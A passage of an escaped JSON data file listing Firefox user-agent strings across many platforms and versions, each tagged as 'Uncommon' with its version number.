Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Firefox\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko\\/20110501 Firefox\\/5.0.1 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.23) Gecko\\/20110920 Firefox\\/3.6.23\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F61F\\/LYF-F61F-000-01-24-130318; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:44.0) Gecko\\/20100101 Firefox\\/44.0 Authentic8\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:15.0) Gecko\\/20100101 Firefox\\/15.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko\\/20100101 Firefox\\/47.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko\\/20080702 Firefox\\/2.0.0.16\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:19.0) Gecko\\/20121129 Firefox\\/19.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:20.0) Gecko\\/20.0 Firefox\\/20.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:14.0) Gecko\\/14.0 Firefox\\/14.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 4.2.2; Tablet; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko\\/20100101 Firefox\\/49.0 (FlipboardProxy\\/1.2; +http:\\/\\/flipboard.com\\/browserproxy)\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0) Gecko\\/20100101 Firefox\\/10.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko\\/20091201 Firefox\\/44.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0 (NetShelter ContentScan, contact abuse@inpwrd.com for information)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:5.0.1) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko\\/20120306 Firefox\\/3.6.28\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:39.0) Gecko\\/39.0 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:30.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F61F\\/LYF-F61F-000-01-14-131117; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-18-121017; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/LF-2403N\\/LYF-LF2403N-000-01-3D-120318;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; rv:19.0) Gecko\\/20100101 Slackware\\/13 Firefox\\/19.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko\\/2009042316 Firefox\\/3.0.10 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:34.0) Gecko\\/34.0 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-22-011217; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) FxiOS\\/6.1 Mobile\\/14D27 Safari\\/602.4.6\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/4.0 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:8.0.1) Gecko\\/20100101 Firefox\\/8.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 8.0.0; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:25.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Tablet; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F81E\\/LYF-F81E-000-01-18-120318; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.28) Gecko\\/20120306 Firefox\\/3.6.28\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; rv:11.0) like Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko\\/20131011 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F81E\\/LYF_F81E_000_01_09_231017; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko\\/20110614 Firefox\\/3.6.18\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko\\/20100713 Firefox\\/3.6.7\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.2) Firefox\\/3.5.2\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko\\/2009011913 Firefox\\/3.0.6\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:16.0) Gecko\\/20121026 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko\\/20110303 Firefox\\/3.6.15\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:29.0) Gecko\\/29.0 Firefox\\/29.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Intel Mac OS X 10.6; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux; U; Sailfish; Mobile; rv:38.0) Gecko\\/38.0 Firefox\\/38.0 SailfishBrowser\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko\\/20100101 Firefox\\/10.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:27.0) Gecko\\/20100101 Firefox\\/27.0 Cunaguaro\\/27.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko\\/20100101 Firefox\\/27.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux armv7l; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko\\/2009102704 Fedora\\/3.0.15-1.fc10 Firefox\\/3.0.15\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:21.0) Gecko\\/21.0 Firefox\\/21.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.2; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/3.0 Mobile\\/13E238 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko\\/20100316 Firefox\\/3.6.2\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/4.0 Mobile\\/13F69 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:19.0) Gecko\\/19.0 Firefox\\/19.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:14.0; ips-agent) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux amd64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0 (Debian)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US) Gecko\\/20101012 Firefox\\/3.6.11\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 8.0.0; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:39.0) Gecko\\/20100101 